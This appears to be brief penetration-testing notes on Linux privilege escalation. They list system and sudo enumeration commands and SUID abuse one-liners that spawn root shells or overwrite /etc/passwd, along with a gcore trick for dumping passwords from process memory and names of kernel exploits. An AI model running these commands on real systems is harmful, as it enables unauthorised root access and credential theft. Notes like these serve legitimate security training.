Linux Enumeration

Check local environment:

env Check Version, issue, architecture:

cat /etc/issue
cat /proc/version
uname -r
uname -a
arch

Check Sudo and GTFObins:

sudo -l

Networks running:

Ss -antp

Processes:

Ps -aux

Unprivileged Process Monitoring:

Check for shell:

Echo $SHELL

Check for SUID binaries:

find / -perm -u=s -type f 2>/dev/null
  • /usr/bin/find --> find . -exec /bin/sh -p ; -quit

  • /usr/bin/dosbox --> privesc using x11/vnc

  • /usr/bin/cp -> cp passwd.orig /etc/passwd

  • /usr/bin/start-stop-daemon -> /usr/sbin/start-stop-daemon -n foo -S -x /bin/sh -- -p

Sudo:

Enum:

sudo -l
sudo --version
id

Look for:

ALL=(ALL) NOPASSWD:
/usr/bin/gcore -> sudo gcore PID (try password-store) -> string gcore.output

Readers:
vi ->
nano -> 
ed -> 

Look for:

- Dirtycow

- Pwnkit

- Polkit

- Dirtypipe

Last updated